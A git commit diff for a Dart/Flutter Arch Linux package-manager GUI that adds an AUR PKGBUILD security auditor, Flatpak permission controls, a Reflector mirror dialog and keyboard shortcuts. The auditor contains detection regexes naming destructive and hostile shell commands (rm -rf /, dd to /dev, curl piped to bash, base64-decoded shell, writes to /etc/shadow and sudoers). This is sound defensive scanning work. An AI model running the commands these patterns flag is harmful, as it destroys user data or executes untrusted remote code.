feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts
This commit is contained in:
@@ -0,0 +1,243 @@
|
||||
import 'dart:convert';
|
||||
import 'dart:io';
|
||||
|
||||
/// Уровень серьезности проверки безопасности PKGBUILD
|
||||
enum SecuritySeverity {
|
||||
safe,
|
||||
warning,
|
||||
danger,
|
||||
}
|
||||
|
||||
/// Отдельная обнаруженная проблема или замечание в PKGBUILD
|
||||
class SecurityIssue {
|
||||
final int lineNumber;
|
||||
final String lineContent;
|
||||
final SecuritySeverity severity;
|
||||
final String ruleName;
|
||||
final String description;
|
||||
|
||||
const SecurityIssue({
|
||||
required this.lineNumber,
|
||||
required this.lineContent,
|
||||
required this.severity,
|
||||
required this.ruleName,
|
||||
required this.description,
|
||||
});
|
||||
}
|
||||
|
||||
/// Результат статического аудита PKGBUILD
|
||||
class PkgbuildAuditResult {
|
||||
final SecuritySeverity overallSeverity;
|
||||
final List<SecurityIssue> issues;
|
||||
final String summary;
|
||||
|
||||
const PkgbuildAuditResult({
|
||||
required this.overallSeverity,
|
||||
required this.issues,
|
||||
required this.summary,
|
||||
});
|
||||
|
||||
bool get isSafe => overallSeverity == SecuritySeverity.safe;
|
||||
bool get hasWarnings => overallSeverity == SecuritySeverity.warning;
|
||||
bool get hasDanger => overallSeverity == SecuritySeverity.danger;
|
||||
}
|
||||
|
||||
/// Сервис загрузки и анализа PKGBUILD
|
||||
class AurPkgbuildService {
|
||||
/// Получение содержимого PKGBUILD для пакета AUR
|
||||
static Future<String?> fetchPkgbuild(String packageName) async {
|
||||
final cleanName = packageName.trim();
|
||||
if (cleanName.isEmpty) return null;
|
||||
|
||||
// 1. Попытка загрузить через официальный AUR cgit
|
||||
try {
|
||||
final client = HttpClient();
|
||||
client.connectionTimeout = const Duration(seconds: 6);
|
||||
final uri = Uri.parse(
|
||||
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
|
||||
);
|
||||
final req = await client.getUrl(uri);
|
||||
final res = await req.close();
|
||||
|
||||
if (res.statusCode == 200) {
|
||||
final body = await res.transform(utf8.decoder).join();
|
||||
if (body.trim().isNotEmpty && !body.contains('404 Not Found')) {
|
||||
return body;
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// 2. Fallback через curl
|
||||
try {
|
||||
final curlRes = await Process.run('curl', [
|
||||
'-sL',
|
||||
'--max-time',
|
||||
'6',
|
||||
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
|
||||
]);
|
||||
if (curlRes.exitCode == 0) {
|
||||
final stdout = curlRes.stdout.toString();
|
||||
if (stdout.trim().isNotEmpty && !stdout.contains('404 Not Found')) {
|
||||
return stdout;
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// 3. Fallback через локальный helper (paru -Gp / yay -Gp)
|
||||
for (final helper in ['paru', 'yay']) {
|
||||
try {
|
||||
final res = await Process.run(helper, ['-Gp', cleanName]);
|
||||
if (res.exitCode == 0 && res.stdout.toString().trim().isNotEmpty) {
|
||||
return res.stdout.toString();
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// Статический аудит безопасности скрипта PKGBUILD
|
||||
static PkgbuildAuditResult audit(String content) {
|
||||
final issues = <SecurityIssue>[];
|
||||
final lines = content.split('\n');
|
||||
|
||||
bool inFunction = false;
|
||||
String currentFunc = '';
|
||||
|
||||
for (int i = 0; i < lines.length; i++) {
|
||||
final rawLine = lines[i];
|
||||
final line = rawLine.trim();
|
||||
final lineNum = i + 1;
|
||||
|
||||
// Пропускаем комментарии
|
||||
if (line.startsWith('#') || line.isEmpty) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Отслеживание функций (build(), package(), prepare())
|
||||
final funcMatch = RegExp(r'^(build|package|prepare|check)\s*\(\)').firstMatch(line);
|
||||
if (funcMatch != null) {
|
||||
inFunction = true;
|
||||
currentFunc = funcMatch.group(1) ?? '';
|
||||
}
|
||||
if (line.startsWith('}')) {
|
||||
inFunction = false;
|
||||
currentFunc = '';
|
||||
}
|
||||
|
||||
// 1. КРИТИЧЕСКИЕ ПРОВЕРКИ (DANGER)
|
||||
|
||||
// Деструктивные команды файловой системы
|
||||
if (RegExp(r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*f*|-f[a-zA-Z]*r[a-zA-Z]*)\s+(/|\$HOME|~|/\*)(\s|$)').hasMatch(line) ||
|
||||
RegExp(r'\brm\s+-rf\s+/\b').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'destructive_command',
|
||||
description: 'Обнаружена опасная команда удаления файлов корня или домашней папки (rm -rf /).',
|
||||
));
|
||||
}
|
||||
|
||||
// Прямое форматирование дисков или запись в raw-устройства
|
||||
if (RegExp(r'\b(mkfs|fdisk|parted|dd\s+if=.*of=/dev/)').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'raw_disk_write',
|
||||
description: 'Попытка форматирования или прямой записи в блочные устройства дисков.',
|
||||
));
|
||||
}
|
||||
|
||||
// Попытка запуска с правами суперпользователя внутри PKGBUILD
|
||||
if (RegExp(r'\b(sudo|pkexec|su|doas)\s+').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'privilege_escalation',
|
||||
description: 'Использование sudo/pkexec недопустимо в PKGBUILD (makepkg собирает пакет от обычного пользователя).',
|
||||
));
|
||||
}
|
||||
|
||||
// Загрузка и немедленный запуск внешних скриптов (curl | bash)
|
||||
if (RegExp(r'\b(curl|wget|fetch)\b.*\|\s*(bash|sh|zsh|python|perl)').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'pipe_to_shell',
|
||||
description: 'Выполнение кода напрямую из интернета через канал (curl | bash). Все исходники должны объявляться в source=().',
|
||||
));
|
||||
}
|
||||
|
||||
// Обфускация кода через base64 или eval
|
||||
if (RegExp(r'\b(base64\s+-d|openssl\s+enc\s+-d)\b.*\|\s*(bash|sh)').hasMatch(line) ||
|
||||
RegExp(r'\beval\s+[\$\(]').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'code_obfuscation',
|
||||
description: 'Обнаружена подозрительная обфускация или динамическое выполнение кода (eval / base64 -d).',
|
||||
));
|
||||
}
|
||||
|
||||
// 2. ПРЕДУПРЕЖДЕНИЯ (WARNING)
|
||||
|
||||
// Сетевые запросы внутри build() или package()
|
||||
if (inFunction && (currentFunc == 'build' || currentFunc == 'package')) {
|
||||
if (RegExp(r'\b(git\s+clone|curl|wget)\b').hasMatch(line) && !line.startsWith('echo')) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.warning,
|
||||
ruleName: 'network_in_build',
|
||||
description: 'Сетевой запрос внутри функции $currentFunc(). Рекомендуется загружать исходники через секцию source=().',
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Опасные разрешения файлов
|
||||
if (RegExp(r'\bchmod\s+(777|a\+rwx|u\+s)\b').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.warning,
|
||||
ruleName: 'loose_permissions',
|
||||
description: 'Установка небезопасных прав доступа к файлам (chmod 777 или SUID).',
|
||||
));
|
||||
}
|
||||
|
||||
// Изменение системных конфигураций напрямую
|
||||
if (RegExp(r'>\s*/etc/(passwd|shadow|sudoers|pam\.d)').hasMatch(line)) {
|
||||
issues.add(SecurityIssue(
|
||||
lineNumber: lineNum,
|
||||
lineContent: rawLine,
|
||||
severity: SecuritySeverity.danger,
|
||||
ruleName: 'critical_config_overwrite',
|
||||
description: 'Попытка прямой модификации критических системных файлов аутентификации.',
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Итоговый вердикт
|
||||
SecuritySeverity overall = SecuritySeverity.safe;
|
||||
String summary = 'Скрипт сборки проверен. Подозрительных или опасных команд не обнаружено.';
|
||||
|
||||
if (issues.any((i) => i.severity == SecuritySeverity.danger)) {
|
||||
overall = SecuritySeverity.danger;
|
||||
summary = 'ВНИМАНИЕ! Обнаружены потенциально опасные команды, которые могут повредить систему.';
|
||||
} else if (issues.any((i) => i.severity == SecuritySeverity.warning)) {
|
||||
overall = SecuritySeverity.warning;
|
||||
summary = 'Обнаружены нестандартные операции сборщика, рекомендуем ознакомиться с кодом.';
|
||||
}
|
||||
|
||||
return PkgbuildAuditResult(
|
||||
overallSeverity: overall,
|
||||
issues: issues,
|
||||
summary: summary,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
import 'dart:io';
|
||||
|
||||
enum FlatpakPermissionType {
|
||||
network,
|
||||
filesystemHome,
|
||||
filesystemHost,
|
||||
socketWayland,
|
||||
socketX11,
|
||||
socketPulseaudio,
|
||||
deviceDri,
|
||||
}
|
||||
|
||||
class FlatpakAppPermissions {
|
||||
final String appId;
|
||||
final bool network;
|
||||
final bool filesystemHome;
|
||||
final bool filesystemHost;
|
||||
final bool socketWayland;
|
||||
final bool socketX11;
|
||||
final bool socketPulseaudio;
|
||||
final bool deviceDri;
|
||||
final bool hasOverrides;
|
||||
|
||||
const FlatpakAppPermissions({
|
||||
required this.appId,
|
||||
required this.network,
|
||||
required this.filesystemHome,
|
||||
required this.filesystemHost,
|
||||
required this.socketWayland,
|
||||
required this.socketX11,
|
||||
required this.socketPulseaudio,
|
||||
required this.deviceDri,
|
||||
required this.hasOverrides,
|
||||
});
|
||||
|
||||
FlatpakAppPermissions copyWith({
|
||||
bool? network,
|
||||
bool? filesystemHome,
|
||||
bool? filesystemHost,
|
||||
bool? socketWayland,
|
||||
bool? socketX11,
|
||||
bool? socketPulseaudio,
|
||||
bool? deviceDri,
|
||||
bool? hasOverrides,
|
||||
}) {
|
||||
return FlatpakAppPermissions(
|
||||
appId: appId,
|
||||
network: network ?? this.network,
|
||||
filesystemHome: filesystemHome ?? this.filesystemHome,
|
||||
filesystemHost: filesystemHost ?? this.filesystemHost,
|
||||
socketWayland: socketWayland ?? this.socketWayland,
|
||||
socketX11: socketX11 ?? this.socketX11,
|
||||
socketPulseaudio: socketPulseaudio ?? this.socketPulseaudio,
|
||||
deviceDri: deviceDri ?? this.deviceDri,
|
||||
hasOverrides: hasOverrides ?? this.hasOverrides,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class FlatpakPermissionsService {
|
||||
/// Получение текущего статуса разрешений (учитывая манифест пакета и переопределения пользователя)
|
||||
static Future<FlatpakAppPermissions?> getPermissions(String appId) async {
|
||||
final cleanId = appId.trim();
|
||||
if (cleanId.isEmpty) return null;
|
||||
|
||||
try {
|
||||
// 1. Получаем базовый манифест приложения
|
||||
final infoRes = await Process.run('flatpak', ['info', '-m', cleanId]);
|
||||
if (infoRes.exitCode != 0) return null;
|
||||
|
||||
final manifestText = infoRes.stdout.toString();
|
||||
|
||||
// 2. Получаем пользовательские переопределения
|
||||
final overrideRes = await Process.run('flatpak', ['override', '--user', '--show', cleanId]);
|
||||
final overrideText = overrideRes.exitCode == 0 ? overrideRes.stdout.toString() : '';
|
||||
|
||||
return parsePermissions(cleanId, manifestText, overrideText);
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// Парсер манифеста и оверрайдов (публичный для модульного тестирования)
|
||||
static FlatpakAppPermissions parsePermissions(String appId, String manifest, String overrides) {
|
||||
// Вспомогательная функция парсинга секции [Context]
|
||||
Map<String, Set<String>> parseContext(String text) {
|
||||
final map = <String, Set<String>>{};
|
||||
bool inContext = false;
|
||||
for (final line in text.split('\n')) {
|
||||
final trimmed = line.trim();
|
||||
if (trimmed == '[Context]') {
|
||||
inContext = true;
|
||||
continue;
|
||||
} else if (trimmed.startsWith('[') && trimmed.endsWith(']')) {
|
||||
inContext = false;
|
||||
}
|
||||
if (inContext && trimmed.contains('=')) {
|
||||
final parts = trimmed.split('=');
|
||||
final key = parts[0].trim();
|
||||
final values = parts[1].split(';').map((e) => e.trim()).where((e) => e.isNotEmpty).toSet();
|
||||
map[key] = values;
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
final base = parseContext(manifest);
|
||||
final user = parseContext(overrides);
|
||||
|
||||
bool checkPermission({
|
||||
required String key,
|
||||
required String positiveValue,
|
||||
required String negativeValue,
|
||||
bool defaultIfMissing = false,
|
||||
}) {
|
||||
final userSet = user[key] ?? {};
|
||||
if (userSet.contains(negativeValue) || userSet.contains('!$positiveValue')) {
|
||||
return false;
|
||||
}
|
||||
if (userSet.contains(positiveValue)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
final baseSet = base[key] ?? {};
|
||||
if (baseSet.contains(negativeValue) || baseSet.contains('!$positiveValue')) {
|
||||
return false;
|
||||
}
|
||||
if (baseSet.contains(positiveValue)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return defaultIfMissing;
|
||||
}
|
||||
|
||||
final net = checkPermission(
|
||||
key: 'shared',
|
||||
positiveValue: 'network',
|
||||
negativeValue: '!network',
|
||||
);
|
||||
|
||||
final fsHome = checkPermission(
|
||||
key: 'filesystems',
|
||||
positiveValue: 'home',
|
||||
negativeValue: '!home',
|
||||
) || (base['filesystems']?.contains('host') ?? false) && !(user['filesystems']?.contains('!host') ?? false);
|
||||
|
||||
final fsHost = checkPermission(
|
||||
key: 'filesystems',
|
||||
positiveValue: 'host',
|
||||
negativeValue: '!host',
|
||||
);
|
||||
|
||||
final wayland = checkPermission(
|
||||
key: 'sockets',
|
||||
positiveValue: 'wayland',
|
||||
negativeValue: '!wayland',
|
||||
defaultIfMissing: (base['sockets']?.contains('fallback-x11') ?? false),
|
||||
);
|
||||
|
||||
final x11 = checkPermission(
|
||||
key: 'sockets',
|
||||
positiveValue: 'x11',
|
||||
negativeValue: '!x11',
|
||||
);
|
||||
|
||||
final pulse = checkPermission(
|
||||
key: 'sockets',
|
||||
positiveValue: 'pulseaudio',
|
||||
negativeValue: '!pulseaudio',
|
||||
);
|
||||
|
||||
final dri = checkPermission(
|
||||
key: 'devices',
|
||||
positiveValue: 'dri',
|
||||
negativeValue: '!dri',
|
||||
) || (base['devices']?.contains('all') ?? false);
|
||||
|
||||
final hasUserOverrides = overrides.trim().isNotEmpty && !overrides.contains('No override');
|
||||
|
||||
return FlatpakAppPermissions(
|
||||
appId: appId,
|
||||
network: net,
|
||||
filesystemHome: fsHome,
|
||||
filesystemHost: fsHost,
|
||||
socketWayland: wayland,
|
||||
socketX11: x11,
|
||||
socketPulseaudio: pulse,
|
||||
deviceDri: dri,
|
||||
hasOverrides: hasUserOverrides,
|
||||
);
|
||||
}
|
||||
|
||||
/// Изменение отдельного разрешения без прав root
|
||||
static Future<bool> setPermission(String appId, FlatpakPermissionType type, bool enabled) async {
|
||||
final flag = _getOverrideFlag(type, enabled);
|
||||
try {
|
||||
final res = await Process.run('flatpak', ['override', '--user', flag, appId]);
|
||||
return res.exitCode == 0;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// Сброс всех пользовательских переопределений для приложения
|
||||
static Future<bool> resetPermissions(String appId) async {
|
||||
try {
|
||||
final res = await Process.run('flatpak', ['override', '--user', '--reset', appId]);
|
||||
return res.exitCode == 0;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static String _getOverrideFlag(FlatpakPermissionType type, bool enabled) {
|
||||
switch (type) {
|
||||
case FlatpakPermissionType.network:
|
||||
return enabled ? '--share=network' : '--unshare=network';
|
||||
case FlatpakPermissionType.filesystemHome:
|
||||
return enabled ? '--filesystem=home' : '--nofilesystem=home';
|
||||
case FlatpakPermissionType.filesystemHost:
|
||||
return enabled ? '--filesystem=host' : '--nofilesystem=host';
|
||||
case FlatpakPermissionType.socketWayland:
|
||||
return enabled ? '--socket=wayland' : '--nosocket=wayland';
|
||||
case FlatpakPermissionType.socketX11:
|
||||
return enabled ? '--socket=x11' : '--nosocket=x11';
|
||||
case FlatpakPermissionType.socketPulseaudio:
|
||||
return enabled ? '--socket=pulseaudio' : '--nosocket=pulseaudio';
|
||||
case FlatpakPermissionType.deviceDri:
|
||||
return enabled ? '--device=dri' : '--nodevice=dri';
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
import 'dart:io';
|
||||
import 'admin_service.dart';
|
||||
|
||||
class ReflectorCountry {
|
||||
final String name;
|
||||
final String code;
|
||||
final int count;
|
||||
|
||||
const ReflectorCountry({
|
||||
required this.name,
|
||||
required this.code,
|
||||
required this.count,
|
||||
});
|
||||
}
|
||||
|
||||
class ReflectorMirror {
|
||||
final String url;
|
||||
final String? country;
|
||||
|
||||
const ReflectorMirror({
|
||||
required this.url,
|
||||
this.country,
|
||||
});
|
||||
}
|
||||
|
||||
class ReflectorService {
|
||||
static List<ReflectorCountry>? _cachedCountries;
|
||||
|
||||
/// Проверка доступности утилиты reflector в системе
|
||||
static Future<bool> isAvailable() async {
|
||||
try {
|
||||
final res = await Process.run('which', ['reflector']);
|
||||
return res.exitCode == 0;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// Получение списка поддерживаемых стран
|
||||
static Future<List<ReflectorCountry>> getCountries() async {
|
||||
if (_cachedCountries != null) return _cachedCountries!;
|
||||
|
||||
final list = <ReflectorCountry>[];
|
||||
try {
|
||||
final res = await Process.run('reflector', ['--list-countries']);
|
||||
if (res.exitCode == 0) {
|
||||
final lines = res.stdout.toString().split('\n');
|
||||
// Пропускаем первые 2 строки заголовка
|
||||
for (int i = 2; i < lines.length; i++) {
|
||||
final line = lines[i].trim();
|
||||
if (line.isEmpty) continue;
|
||||
// Формат: Country (20 chars) Code (4 chars) Count
|
||||
// Либо через регулярное выражение
|
||||
final match = RegExp(r'^(.*?)\s+([A-Z]{2})\s+(\d+)$').firstMatch(line);
|
||||
if (match != null) {
|
||||
final name = match.group(1)!.trim();
|
||||
final code = match.group(2)!.trim();
|
||||
final count = int.tryParse(match.group(3)!) ?? 0;
|
||||
list.add(ReflectorCountry(name: name, code: code, count: count));
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
if (list.isEmpty) {
|
||||
// Fallback на базовые популярные страны
|
||||
list.addAll(const [
|
||||
ReflectorCountry(name: 'Germany', code: 'DE', count: 50),
|
||||
ReflectorCountry(name: 'Russia', code: 'RU', count: 15),
|
||||
ReflectorCountry(name: 'Netherlands', code: 'NL', count: 30),
|
||||
ReflectorCountry(name: 'United States', code: 'US', count: 70),
|
||||
ReflectorCountry(name: 'France', code: 'FR', count: 25),
|
||||
ReflectorCountry(name: 'Finland', code: 'FI', count: 10),
|
||||
]);
|
||||
}
|
||||
|
||||
_cachedCountries = list;
|
||||
return list;
|
||||
}
|
||||
|
||||
/// Получение текущих активных зеркал из /etc/pacman.d/mirrorlist
|
||||
static Future<List<String>> getCurrentActiveMirrors() async {
|
||||
final file = File('/etc/pacman.d/mirrorlist');
|
||||
if (!file.existsSync()) return [];
|
||||
|
||||
final active = <String>[];
|
||||
try {
|
||||
final lines = await file.readAsLines();
|
||||
for (final line in lines) {
|
||||
final trimmed = line.trim();
|
||||
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
|
||||
final parts = trimmed.split('=');
|
||||
if (parts.length > 1) {
|
||||
active.add(parts[1].trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
return active;
|
||||
}
|
||||
|
||||
/// Предпросмотр зеркал без записи в систему (Dry run)
|
||||
static Future<List<String>> previewMirrors({
|
||||
String? country,
|
||||
int latest = 5,
|
||||
bool httpsOnly = true,
|
||||
String sort = 'rate',
|
||||
}) async {
|
||||
final args = <String>[
|
||||
'--latest', latest.toString(),
|
||||
'--sort', sort,
|
||||
];
|
||||
|
||||
if (httpsOnly) {
|
||||
args.addAll(['--protocol', 'https']);
|
||||
}
|
||||
|
||||
if (country != null && country.isNotEmpty && country != 'All') {
|
||||
args.addAll(['--country', country]);
|
||||
}
|
||||
|
||||
try {
|
||||
final res = await Process.run('reflector', args);
|
||||
if (res.exitCode == 0) {
|
||||
final mirrors = <String>[];
|
||||
final lines = res.stdout.toString().split('\n');
|
||||
for (final line in lines) {
|
||||
final trimmed = line.trim();
|
||||
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
|
||||
final parts = trimmed.split('=');
|
||||
if (parts.length > 1) {
|
||||
mirrors.add(parts[1].trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
return mirrors;
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/// Применение зеркал: создание бэкапа и сохранение через reflector --save
|
||||
static Future<bool> applyMirrors(
|
||||
String? password, {
|
||||
String? country,
|
||||
int latest = 10,
|
||||
bool httpsOnly = true,
|
||||
String sort = 'rate',
|
||||
}) async {
|
||||
// 1. Делаем бэкап существующего mirrorlist
|
||||
try {
|
||||
final cpProc = await AdminService.runPrivileged(
|
||||
password,
|
||||
'cp',
|
||||
['-f', '/etc/pacman.d/mirrorlist', '/etc/pacman.d/mirrorlist.forge-bak'],
|
||||
);
|
||||
await cpProc.exitCode;
|
||||
} catch (_) {}
|
||||
|
||||
// 2. Формируем аргументы reflector
|
||||
final args = <String>[
|
||||
'--latest', latest.toString(),
|
||||
'--sort', sort,
|
||||
'--save', '/etc/pacman.d/mirrorlist',
|
||||
];
|
||||
|
||||
if (httpsOnly) {
|
||||
args.addAll(['--protocol', 'https']);
|
||||
}
|
||||
|
||||
if (country != null && country.isNotEmpty && country != 'All') {
|
||||
args.addAll(['--country', country]);
|
||||
}
|
||||
|
||||
try {
|
||||
final proc = await AdminService.runPrivileged(
|
||||
password,
|
||||
'reflector',
|
||||
args,
|
||||
);
|
||||
final exitCode = await proc.exitCode;
|
||||
return exitCode == 0;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,7 @@ import 'screens/installed_screen.dart';
|
||||
import 'screens/settings_screen.dart';
|
||||
import 'screens/starter_packs_screen.dart';
|
||||
import 'screens/updates_screen.dart';
|
||||
import 'widgets/keyboard_shortcuts_dialog.dart';
|
||||
import 'widgets/package_inspector.dart';
|
||||
import 'widgets/spotlight_search_dialog.dart';
|
||||
|
||||
@@ -69,6 +70,17 @@ class _MainLayoutState extends State<MainLayout> {
|
||||
bindings: {
|
||||
const SingleActivator(LogicalKeyboardKey.keyK, control: true): _openSpotlight,
|
||||
const SingleActivator(LogicalKeyboardKey.keyK, meta: true): _openSpotlight,
|
||||
const SingleActivator(LogicalKeyboardKey.slash, control: true): () => KeyboardShortcutsDialog.show(context),
|
||||
const SingleActivator(LogicalKeyboardKey.f1): () => KeyboardShortcutsDialog.show(context),
|
||||
const SingleActivator(LogicalKeyboardKey.keyR, control: true): _performInitialBadgeScan,
|
||||
const SingleActivator(LogicalKeyboardKey.f5): _performInitialBadgeScan,
|
||||
const SingleActivator(LogicalKeyboardKey.digit1, control: true): () => setState(() => _pageIndex = 0),
|
||||
const SingleActivator(LogicalKeyboardKey.digit2, control: true): () => setState(() => _pageIndex = 1),
|
||||
const SingleActivator(LogicalKeyboardKey.digit3, control: true): () => setState(() => _pageIndex = 2),
|
||||
const SingleActivator(LogicalKeyboardKey.digit4, control: true): () => setState(() => _pageIndex = 3),
|
||||
const SingleActivator(LogicalKeyboardKey.digit5, control: true): () => setState(() => _pageIndex = 4),
|
||||
const SingleActivator(LogicalKeyboardKey.digit6, control: true): () => setState(() => _pageIndex = 5),
|
||||
const SingleActivator(LogicalKeyboardKey.digit7, control: true): () => setState(() => _pageIndex = 6),
|
||||
},
|
||||
child: Focus(
|
||||
autofocus: true,
|
||||
@@ -143,6 +155,13 @@ class _MainLayoutState extends State<MainLayout> {
|
||||
],
|
||||
),
|
||||
),
|
||||
MacosTooltip(
|
||||
message: 'Горячие клавиши (F1 / Ctrl+/)',
|
||||
child: MacosIconButton(
|
||||
icon: const MacosIcon(CupertinoIcons.keyboard, size: 14),
|
||||
onPressed: () => KeyboardShortcutsDialog.show(context),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
|
||||
@@ -4,6 +4,7 @@ import 'package:macos_ui/macos_ui.dart';
|
||||
import '../../services/admin_service.dart';
|
||||
import '../../services/doctor_service.dart';
|
||||
import '../widgets/friendly_term.dart';
|
||||
import '../widgets/reflector_mirror_dialog.dart';
|
||||
|
||||
class DoctorScreen extends StatefulWidget {
|
||||
const DoctorScreen({super.key});
|
||||
@@ -684,20 +685,38 @@ class _DoctorScreenState extends State<DoctorScreen> {
|
||||
style: const TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
PushButton(
|
||||
controlSize: ControlSize.small,
|
||||
secondary: true,
|
||||
onPressed: _isActionRunning
|
||||
? null
|
||||
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
|
||||
SizedBox(width: 5),
|
||||
Text('Выбрать 10 быстрейших зеркал (Reflector)'),
|
||||
],
|
||||
),
|
||||
Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 6,
|
||||
children: [
|
||||
PushButton(
|
||||
controlSize: ControlSize.small,
|
||||
onPressed: () => ReflectorMirrorDialog.show(context),
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.slider_horizontal_3, size: 12),
|
||||
SizedBox(width: 5),
|
||||
Text('Настроить зеркала (GUI)'),
|
||||
],
|
||||
),
|
||||
),
|
||||
PushButton(
|
||||
controlSize: ControlSize.small,
|
||||
secondary: true,
|
||||
onPressed: _isActionRunning
|
||||
? null
|
||||
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
|
||||
SizedBox(width: 5),
|
||||
Text('Авто-выбор топ-10'),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
],
|
||||
),
|
||||
|
||||
@@ -5,6 +5,8 @@ import '../../services/admin_service.dart';
|
||||
import '../../services/app_settings_service.dart';
|
||||
import '../../services/snapshot_service.dart';
|
||||
import '../widgets/friendly_term.dart';
|
||||
import '../widgets/keyboard_shortcuts_dialog.dart';
|
||||
import '../widgets/reflector_mirror_dialog.dart';
|
||||
|
||||
class SettingsScreen extends StatefulWidget {
|
||||
const SettingsScreen({super.key});
|
||||
@@ -425,6 +427,118 @@ class _SettingsScreenState extends State<SettingsScreen> {
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const SizedBox(height: 24),
|
||||
|
||||
// Group 4: Mirrors & Reflector
|
||||
_buildSectionHeader('ЗЕРКАЛА РЕПОЗИТОРИЕВ ARCH LINUX'),
|
||||
const SizedBox(height: 8),
|
||||
Container(
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
color: macosTheme.canvasColor,
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
border: Border.all(
|
||||
color: macosTheme.dividerColor,
|
||||
width: 0.8,
|
||||
),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
const Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
'Оптимизация зеркал через Reflector',
|
||||
style: TextStyle(
|
||||
fontWeight: FontWeight.w600,
|
||||
fontSize: 13.5,
|
||||
),
|
||||
),
|
||||
SizedBox(height: 2),
|
||||
Text(
|
||||
'Тестирование скорости зеркал по странам и обновление /etc/pacman.d/mirrorlist',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: () => ReflectorMirrorDialog.show(context),
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.speedometer, size: 14),
|
||||
SizedBox(width: 6),
|
||||
Text('Настроить зеркала'),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const SizedBox(height: 24),
|
||||
|
||||
// Group 5: Keyboard Shortcuts
|
||||
_buildSectionHeader('УПРАВЛЕНИЕ И ГОРЯЧИЕ КЛАВИШИ'),
|
||||
const SizedBox(height: 8),
|
||||
